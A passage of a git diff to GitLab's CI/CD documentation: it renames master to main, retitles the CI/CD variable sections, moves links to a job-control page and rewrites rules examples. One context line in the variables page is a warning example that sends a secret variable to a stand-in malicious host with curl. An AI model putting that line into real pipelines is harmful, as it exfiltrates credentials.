script or just run cURL directly, you can trigger jobs -in conjunction with cron. The example below triggers a job on the `master` -branch of project with ID `9` every night at `00:30`: +in conjunction with cron. The example below triggers a job on the `main` branch +of project with ID `9` every night at `00:30`: ```shell -30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" +30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` This behavior can also be achieved through the GitLab UI with diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index cc6d02cbf36..24a37900e6a 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -109,7 +109,7 @@ the [`rules` configuration details](yaml/README.md#rules) carefully. The behavio of `only/except` and `rules` is different and can cause unexpected behavior when migrating between the two. -The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules) +The [common `if` clauses for `rules`](jobs/job_control.md#common-if-clauses-for-rules) can be very helpful for examples of how to write rules that behave the way you expect. #### Two pipelines run at the same time @@ -119,7 +119,7 @@ associated with it. Usually one pipeline is a merge request pipeline, and the ot is a branch pipeline. This is usually caused by the `rules` configuration, and there are several ways to -[prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines). +[prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines). #### A job is not in the pipeline @@ -258,7 +258,7 @@ When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `i clause, multiple pipelines may run. Usually this occurs when you push a commit to a branch that has an open merge request associated with it. -To [prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines), use +To [prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines), use [`workflow: rules`](yaml/README.md#workflow) or rewrite your rules to control which pipelines can run. diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index bbb62f74caa..7b5f6b5167d 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -307,6 +307,25 @@ test: - report.xml ``` +### PHP example + +This example uses [PHPUnit](https://phpunit.de/) with the `--log-junit` flag. +You can also add this option using +[XML](https://phpunit.readthedocs.io/en/stable/configuration.html#the-junit-element) +in the `phpunit.xml` configuration file. + +```yaml +phpunit: + stage: test + script: + - composer install + - vendor/bin/phpunit --log-junit report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + ## Viewing Unit test reports on GitLab > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. @@ -339,12 +358,12 @@ If parsing JUnit report XML results in an error, an indicator is shown next to t Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that: -- The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. For +- The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For example: ```xml <testcase time="1.00" name="Test"> - <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> + <system-out>[[ATTACHMENT|/path/to/some/file]]</system-out> </testcase> ``` diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 272f379611e..1db2d0dd888 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to: You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: - [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#project-cicd-variables). -- [Group CI/CD variables](#group-cicd-variables). -- [Instance CI/CD variables](#instance-cicd-variables). +- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). +- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). +- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). > For more information about advanced use of GitLab CI/CD: > @@ -56,10 +56,10 @@ You can create custom CI/CD variables: - For a project: - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#project-cicd-variables). + - [In the project's settings](#add-a-cicd-variable-to-a-project). - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#group-cicd-variables). -- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). +- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). +- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). @@ -123,10 +123,10 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Project CI/CD variables +### Add a CI/CD variable to a project -You can add CI/CD variables to a project's settings. Only project members with -[maintainer permissions](../../user/permissions.md#project-members-permissions) +You can add CI/CD variables to a project's settings. Only project members with the +[Maintainer role](../../user/permissions.md#project-members-permissions) can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the `.gitlab-ci.yml` file. @@ -138,7 +138,7 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked @@ -161,10 +161,9 @@ The output is:  -### Group CI/CD variables +### Add a CI/CD variable to a group -> - Introduced in GitLab 9.4. -> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 +> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. @@ -181,14 +180,16 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -To view the group-level variables available in a project: +#### View all group-level variables available in a project + +To view all the group-level variables available in a project: 1. In the project, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -198,19 +199,20 @@ inherited.  -### Instance CI/CD variables +### Add a CI/CD variable to an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. To make a CI/CD variable available to all projects and groups in a GitLab instance, -define an instance CI/CD variable. +add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md). You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). To add an instance variable: -1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select the **Add variable** button, and fill in the details: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. @@ -285,7 +287,7 @@ does not display in job logs. To mask a variable: -1. Go to **Settings > CI/CD** in the project, group or instance admin area. +1. In the project, group, or Admin Area, go to **Settings > CI/CD**. 1. Expand the **Variables** section. 1. Next to the variable you want to protect, select **Edit**. 1. Select the **Mask variable** check box. @@ -337,6 +339,10 @@ build: - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -392,9 +398,9 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Windows Batch +### Use variables with Windows Batch -To access environment variables in Windows Batch, surround the variable +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml @@ -434,7 +440,7 @@ Example job log output: export CI_JOB_ID="50" export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="master" +export CI_COMMIT_REF_NAME="main" export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" export CI_COMMIT_TAG="1.0.0" export CI_JOB_NAME="spec:other" @@ -544,8 +550,8 @@ The order of precedence for variables is (from highest to lowest): [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). 1. Project [variables](#custom-cicd-variables). -1. Group [variables](#group-cicd-variables). -1. Instance [variables](#instance-cicd-variables). +1. Group [variables](#add-a-cicd-variable-to-a-group). +1. Instance [variables](#add-a-cicd-variable-to-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. @@ -596,7 +602,7 @@ You can grant permission to override variables to [maintainers](../../user/permi with overridden variables, they receive the `Insufficient permissions to set pipeline variables` error message. -If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) @@ -641,194 +647,6 @@ with `K8S_SECRET_`. CI/CD variables with multi-line values are not supported. -## CI/CD variable expressions - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) -> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) - -Use variable expressions to limit which jobs are created -in a pipeline after changes are pushed to GitLab. - -In `.gitlab-ci.yml`, variable expressions work with both: - -- [`rules`](../yaml/README.md#rules), which is the recommended approach, and -- [`only` and `except`](../yaml/README.md#only--except), which are candidates for deprecation. - -This is particularly useful in combination with variables and triggered -pipeline variables. - -```yaml -deploy: - script: cap staging deploy - environment: staging - only: - variables: - - $RELEASE == "staging" - - $STAGING -``` - -Each expression provided is evaluated before a pipeline is created. - -If any of the conditions in `variables` evaluates to true when using `only`, -a new job is created. If any of the expressions evaluates to true -when `except` is being used, a job is not created. - -This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyvariables--exceptvariables). - -### Syntax of CI/CD variable expressions - -Below you can find supported syntax reference. - -#### Equality matching using a string - -Examples: - -- `$VARIABLE == "some value"` -- `$VARIABLE != "some value"` (introduced in GitLab 11.11) - -You can use equality operator `==` or `!=` to compare a variable content to a -string. We support both, double quotes and single quotes to define a string -value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'` -are supported. `"some value" == $VARIABLE` is correct too. - -#### Checking for an undefined value - -Examples: - -- `$VARIABLE == null` -- `$VARIABLE != null` (introduced in GitLab 11.11) - -It sometimes happens that you want to check whether a variable is defined -or not. To do that, you can compare a variable to `null` keyword, like -`$VARIABLE == null`. This expression evaluates to true if -variable is not defined when `==` is used, or to false if `!=` is used. - -#### Checking for an empty variable - -Examples: - -- `$VARIABLE == ""` -- `$VARIABLE != ""` (introduced in GitLab 11.11) - -To check if a variable is defined but empty, compare it to: - -- An empty string: `$VARIABLE == ''` -- A non-empty string: `$VARIABLE != ""` - -#### Comparing two variables - -Examples: - -- `$VARIABLE_1 == $VARIABLE_2` -- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11) - -It is possible to compare two variables. This compares values -of these variables. - -#### Variable presence check - -Example: `$STAGING` - -To create a job when there is some variable present, meaning it is defined and non-empty, -use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable -is defined, and is non empty, expression evaluates to `true`. -`$STAGING` value needs to be a string, with length higher than zero. -Variable that contains only whitespace characters is not an empty variable. - -#### Regex pattern matching - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0 - -Examples: - -- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/` -- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11) - -Variable pattern matching with regular expressions uses the -[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax). -Expressions evaluate as `true` if: - -- Matches are found when using `=~`. -- Matches are *not* found when using `!~`. - -Pattern matching is case-sensitive by default. Use `i` flag modifier, like -`/pattern/i` to make a pattern case-insensitive. - -#### Conjunction / Disjunction - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0 - -Examples: - -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"` -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3` -- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3` - -It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise -supported syntax may be used in a conjunctive or disjunctive statement. -Precedence of operators follows the -[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html), -so `&&` is evaluated before `||`. - -#### Parentheses - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. - -It is possible to use parentheses to group conditions. Parentheses have the highest -precedence of all operators. Expressions enclosed in parentheses are evaluated first, -and the result is used for the rest of the expression. - -Many nested parentheses can be used to create complex conditions, and the inner-most -expressions in parentheses are evaluated first. For an expression to be valid an equal -number of `(` and `)` need to be used. - -Examples: - -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)` -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` -- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` - -### Storing regular expressions in variables - -It is possible to store a regular expression in a variable, to be used for pattern matching. -The following example tests whether `$RELEASE` contains either the -string `staging0` or the string `staging1`: - -```yaml -variables: - STAGINGRELS: '/staging0|staging1/' - -deploy_staging: - script: do.sh deploy staging - environment: staging - rules: - - if: '$RELEASE =~ $STAGINGRELS' -``` - -NOTE: -The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438) -for more details. - -If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly, -as well as from in a variable: - -```yaml -variables: - MYSTRING: 'master' - MYREGEX: '/^mast.*/' - -testdirect: - script: /bin/true - rules: - - if: '$MYSTRING =~ /^mast.*/' - -testvariable: - script: /bin/true - rules: - - if: '$MYSTRING =~ $MYREGEX' -``` - ## Debug logging > Introduced in GitLab Runner 1.7. @@ -943,8 +761,8 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_PROJECT_VISIBILITY=public ++ export CI_PROJECT_REPOSITORY_LANGUAGES= ++ CI_PROJECT_REPOSITORY_LANGUAGES= -++ export CI_DEFAULT_BRANCH=master -++ CI_DEFAULT_BRANCH=master +++ export CI_DEFAULT_BRANCH=main +++ CI_DEFAULT_BRANCH=main ++ export CI_REGISTRY=registry.gitlab.com ++ CI_REGISTRY=registry.gitlab.com ++ export CI_API_V4_URL=https://gitlab.com/api/v4 @@ -961,10 +779,10 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_COMMIT_SHORT_SHA=dd648b2e ++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 ++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_COMMIT_REF_NAME=master -++ CI_COMMIT_REF_NAME=master -++ export CI_COMMIT_REF_SLUG=master -++ CI_COMMIT_REF_SLUG=master +++ export CI_COMMIT_REF_NAME=main +++ CI_COMMIT_REF_NAME=main +++ export CI_COMMIT_REF_SLUG=main +++ CI_COMMIT_REF_SLUG=main ... ``` diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 9cb960ae8ec..bd280cc4825 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -52,6 +52,8 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/README.md#environmentname) is set. | | `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/README.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). | | `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/README.md#environmenturl) is set. | +| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/README.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. | +| `CI_ENVIRONMENT_TIER` | 14.0 | all | The [deployment tier of the environment](../environments/index.md#deployment-tier-of-environments) for this job. | | `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Only available if the pipeline's project has an open [requirement](../../user/project/requirements/index.md). `true` when available. | | `CI_JOB_ID` | 9.0 | all | The internal ID of the job, unique across all jobs in the GitLab instance. | | `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the Docker image running the job. | @@ -75,7 +77,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/README.md). | | `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. | | `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. | -| `CI_PROJECT_CONFIG_PATH` | 13.8 | all | (Deprecated) The CI configuration path for the project. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/321334) in GitLab 13.10. [Removal planned](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) for GitLab 14.0. | +| `CI_PROJECT_CONFIG_PATH` | 13.8 to 13.12 | all | [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) in GitLab 14.0. Use `CI_CONFIG_PATH`. | | `CI_PROJECT_DIR` | all | all | The full path the repository is cloned to, and where the job runs from. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see the [Advanced GitLab Runner configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section). | | `CI_PROJECT_ID` | all | all | The ID of the current project. This ID is unique across all projects on the GitLab instance. | | `CI_PROJECT_NAME` | 8.10 | 0.5 | The name of the directory for the project. For example if the project URL is `gitlab.example.com/group-name/project-1`, `CI_PROJECT_NAME` is `project-1`. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 3e1518447d6..76d4d929ff0 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -35,7 +35,7 @@ There are two places defined variables can be used. On the: | `cache:key` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `artifacts:name` | yes | Runner | The variable expansion is made by GitLab Runner's shell environment | | `script`, `before_script`, `after_script` | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment) | -| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | +| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | ### `config.toml` file @@ -174,7 +174,7 @@ They are: - Script execution shell. - Not supported: - For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab. - - In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions). + - In the `only` and `except` [variables expressions](../jobs/job_control.md#cicd-variable-expressions). Some of the persisted variables contain tokens and cannot be used by some definitions due to security reasons. @@ -193,7 +193,6 @@ my-job: name: review/$CI_JOB_STAGE/deploy script: - 'deploy staging' - only: - variables: - - $STAGING_SECRET == 'something' + rules: + - if: $STAGING_SECRET == 'something' ``` diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index e9b3a2213c8..8e9cf00b160 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -15,7 +15,7 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md). - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). -- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). When you are editing your `.gitlab-ci.yml` file, you can validate it with the [CI Lint](../lint.md) tool. @@ -192,7 +192,7 @@ Some example `if` clauses for `workflow: rules`: | `if: $CI_COMMIT_TAG` | Control when tag pipelines run. | | `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. | -See the [common `if` clauses for `rules`](#common-if-clauses-for-rules) for more examples. +See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples. In the following example, pipelines run for all `push` events (changes to branches and new tags). Pipelines for push events with `-draft` in the commit message @@ -228,7 +228,7 @@ The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. If your rules match both branch pipelines and merge request pipelines, -[duplicate pipelines](#avoid-duplicate-pipelines) can occur. +[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur. #### `workflow:rules:variables` @@ -253,7 +253,7 @@ variables: workflow: rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE - if: $CI_COMMIT_REF_NAME =~ /feature/ @@ -265,7 +265,7 @@ job1: variables: DEPLOY_VARIABLE: "job1-default-deploy" rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: # Override DEPLOY_VARIABLE defined DEPLOY_VARIABLE: "job1-deploy-production" # at the job level. - when: on_success # Run the job in other cases @@ -279,7 +279,7 @@ job2: - echo "Run another script if $IS_A_FEATURE exists" ``` -When the branch is `master`: +When the branch is the default branch: - job1's `DEPLOY_VARIABLE` is `job1-deploy-production`. - job2's `DEPLOY_VARIABLE` is `deploy-production`. @@ -356,7 +356,7 @@ include: To make the pipeline switch from branch pipelines to merge request pipelines after a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file. -If you use both pipeline types at the same time, [duplicate pipelines](#avoid-duplicate-pipelines) +If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) might run at the same time. To prevent duplicate pipelines, use the [`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md). @@ -559,7 +559,7 @@ You can also specify a `ref`. If you do not specify a value, the ref defaults to ```yaml include: - project: 'my-group/my-project' - ref: master + ref: main file: '/templates/.gitlab-ci-template.yml' - project: 'my-group/my-project' @@ -584,7 +584,7 @@ You can include multiple files from the same project: ```yaml include: - project: 'my-group/my-project' - ref: master + ref: main file: - '/templates/.builds.yml' - '/templates/.tests.yml' @@ -598,7 +598,7 @@ authentication in the remote URL is not supported. For example: ```yaml include: - - remote: 'https://gitlab.com/example-project/-/raw/master/.gitlab-ci.yml' + - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml' ``` All [nested includes](#nested-includes) execute without context as a public user, @@ -609,7 +609,7 @@ so you can only `include` public projects or templates. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7. Use `include:template` to include `.gitlab-ci.yml` templates that are -[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). For example: @@ -991,8 +991,8 @@ but you can use as many as eleven. The following example has two levels of inher ```yaml .tests: - only: - - pushes + rules: + - if: $CI_PIPELINE_SOURCE == "push" .rspec: extends: .tests @@ -1028,9 +1028,9 @@ levels. For example: variables: URL: "http://my-url.internal" IMPORTANT_VAR: "the details" - only: - - master - - stable + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" tags: - production script: @@ -1061,9 +1061,9 @@ rspec: URL: "http://docker-url.internal" IMPORTANT_VAR: "the details" GITLAB: "is-awesome" - only: - - master - - stable + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" tags: - docker image: alpine @@ -1113,202 +1113,32 @@ Use `rules` to include or exclude jobs in pipelines. Rules are evaluated *in order* until the first match. When a match is found, the job is either included or excluded from the pipeline, depending on the configuration. -The job can also have [certain attributes](#rules-attributes) -added to it. `rules` replaces [`only/except`](#only--except) and they can't be used together -in the same job. If you configure one job to use both keywords, the linter returns a -`key may not be used with rules` error. - -#### Rules attributes - -The job attributes you can use with `rules` are: +in the same job. If you configure one job to use both keywords, the GitLab returns +a `key may not be used with rules` error. -- [`when`](#when): If not defined, defaults to `when: on_success`. - - If used as `when: delayed`, `start_in` is also required. -- [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`. -- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables). +`rules` accepts an array of rules defined with: -If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline. - -For example: - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - if: '$CI_COMMIT_BRANCH == "master"' - when: delayed - start_in: '3 hours' - allow_failure: true -``` - -#### Rules clauses - -Available rule clauses are: - -| Clause | Description | -|----------------------------|------------------------------------------------------------------------------------------------------------------------------------| -| [`if`](#rulesif) | Add or exclude jobs from a pipeline by evaluating an `if` statement. Similar to [`only:variables`](#onlyvariables--exceptvariables). | -| [`changes`](#ruleschanges) | Add or exclude jobs from a pipeline based on what files are changed. Same as [`only:changes`](#onlychanges--exceptchanges). | -| [`exists`](#rulesexists) | Add or exclude jobs from a pipeline based on the presence of specific files. | - -Rules are evaluated in order until a match is found. If a match is found, the attributes -are checked to see if the job should be added to the pipeline. If no attributes are defined, -the defaults are: +- `if` +- `changes` +- `exists` +- `allow_failure` +- `variables` +- `when` -- `when: on_success` -- `allow_failure: false` +You can combine 